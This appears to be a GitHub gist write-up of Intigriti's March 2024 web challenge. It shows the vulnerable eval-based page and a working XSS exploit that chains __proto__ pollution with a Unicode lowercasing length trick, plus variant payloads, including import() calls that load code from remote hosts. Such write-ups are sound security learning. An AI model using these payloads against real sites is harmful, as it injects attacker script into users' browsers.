Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active April 15, 2024 18:29
Show Gist options
  • Save Siss3l/9a4cf794b9303ad261370263518440d2 to your computer and use it in GitHub Desktop.
Save Siss3l/9a4cf794b9303ad261370263518440d2 to your computer and use it in GitHub Desktop.
Intigriti's March 2024 Web Challenge thanks to @M0Z

Intigriti March Challenge

  • Category: Web
  • Impact: Medium
  • Solves: 30

Challenge

Description

Find a way to execute arbitrary JavaScript on the challenge page.

The solution:

  • should work on the latest version of Chrome and FireFox.
  • should execute alert(1337).
  • should leverage a cross site scripting vulnerability on this domain.
  • shouldn't be self-XSS or related to MiTM attacks.
  • should require no user interaction.

Overview

We have a web challenge where we can input some user information within popup alert:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <link rel="stylesheet" href="./xss_files/bootstrap.min.css">
  <title>Contact Info</title>
</head>
<body>
  <div class="container mt-4">
    <h1>Set Contact Info</h1>
    <div class="form-group">
      <label for="inpName">Name</label>
      <input type="text" class="form-control" id="inpName">
    </div>
    <div class="form-group">
      <label for="inpContact">Contact</label>
      <input type="text" class="form-control" id="inpContact">
    </div>
    <div class="form-group">
      <label for="inpValue">Value</label>
      <input type="text" class="form-control" id="inpValue">
    </div>
    <button class="btn btn-primary" onclick="handleInputName(document.getElementById('inpName').value, document.getElementById('inpContact').value, document.getElementById('inpValue').value);">Input</button>
    <button class="btn btn-secondary" onclick="runCmdName('alert');">Info</button>
    <h1 class="mt-4">Set Token</h1>
    <div class="form-group">
      <label for="inpToken">Token</label>
      <input type="text" class="form-control" id="inpToken">
    </div>
    <button class="btn btn-primary"
      onclick="handleInputToken(document.getElementById('inpToken').value);">Input</button>
    <button class="btn btn-secondary" onclick="runCmdToken('alert');">Info</button>
  </div>
  <script src="./xss_files/core.js"></script>
  <script src="./xss_files/md5.js"></script>
  <script>
    var user = {};
    function runCmdToken(cmd) {
      if (!user['token'] || user['token'].length != 32) { return; }
      var str  = `${user['token']}${cmd}(hash)`.toLowerCase();
      var hash = str.slice(0, 32);
      var cmd  = str.slice(32);
      eval(cmd);
    }
    function handleInputToken(inp) {
      var hash = CryptoJS.MD5(inp).toString(); // cfr. https://github.com/brix/crypto-js
      user['token'] = `${hash}`;
    }
    function runCmdName(cmd) {
      var name = Object.keys(user).find(key => key != "token");
      if (!name) { return; }
      var contact = Object.keys(user[name]);
      if (!contact) { return; }
      var value = user[name][contact];
      if (!value) { return; }
      eval(`${cmd}('Name: ' + name + '\\nContact: ' + contact + '\\nValue: ' + value)`);
    }
    function handleInputName(name, contact, value) { user[name] = { [contact]: value }; }
    const urlParams = new URLSearchParams(window.location.search);
    const nameParam = urlParams.get("setName");
    const contactParam = urlParams.get("setContact");
    const valueParam = urlParams.get("setValue");
    const tokenParam = urlParams.get("setToken");
    const runContactInfo = urlParams.get("runContactInfo");
    const runTokenInfo   = urlParams.get("runTokenInfo");
    if (nameParam && contactParam && valueParam) { handleInputName(nameParam, contactParam, valueParam); }
    if (tokenParam) { handleInputToken(tokenParam); }
    if (runContactInfo) { runCmdName('alert'); }
    if (runTokenInfo) { runCmdToken('alert'); }
  </script>
</body>
</html>

Resolution

We soon notice the dangerous use of the eval function in the runCmdToken & runCmdName methods.
Looking at the first one, we wonder if we cannot somehow pollute it in various ways.

It does not take us long to find an unicode character that validates it with the very often used __proto__ object.
Our oneliner python3 -c "print([i for i in[chr(i)if len(chr(i).lower())>1 else(0)for i in range(1000)]if i!=0][0])" code will return the İ unicode desired:

var user = {__proto__: {"token": "İİİİİİİİİİİİİİİİalert(0x000539);"}}; /* user[name] = { [contact]: value }; */
var cmd  = "alert";
if (!user["token"] || user["token"].length != 32) { null; }
var str  = `${user['token']}${cmd}(hash)`.toLowerCase(); // 0x000539 === 1337
"i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇alert(0x000539);alert(hash)"
var hash = str.slice(0, 32);
"i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇"
var cmd  = str.slice(32);
"alert(0x000539);alert(hash)"
eval(cmd); // Executing 2 alert's.

Which gives us the final working url https://challenge-0324.intigriti.io/challenge/index.html?runTokenInfo=0&setName=__proto__&setContact=token&setValue=İİİİİİİİİİİİİİİİalert(0x000539); for the popup alert.

Fun

Unintended solution

Various unicodes can be used to hide data on the setValue parameter:

  • %00 nullbyte as &&setValue=1337%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00;
  • %20 space character;
  • %2B plus sign;
  • %E2%80%8F right-to-left mark;
  • %E2%82%A8 rupee sign Rs character;
  • %C7%8A latin capital letter Nj character;
  • %C4%B0 latin capital letter I with dot above.

Furthermore, we can benefit from the import expression (cfr. https://tinyxss.terjanq.me page) to run malicious arbitrary code:

  • import("//ai/"); of https://archive.ph/sjPTb archive;
  • import("//dk/"); of https://archive.ph/HBRfK archive;
  • import("//pn/"); of https://archive.ph/CSsnl archive;
  • import(/\14.₨/); as '';var msgbox;if(location.hash){eval(location.hash.slice(1))}else{alert(1)}//\n[...] code;
  • import(/\15.₨/); as alert(document.domain); code;
  • import(/\NJ.rs/); as javascript:alert(document.domain),1/*[...] alert code;
  • import("//42/"); of https://0.0.0.42/ url;
  • ;;with(location)#domain becoming ;;with(location)alert(hash) and executed as alert("#domain");
  • eval(hash=eval); as function eval() { [native code] } code (or within a custom HTML page).

Alert

Defense

Applying CSP, props, eval blocking and unicode normalization filtering!

Bye

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment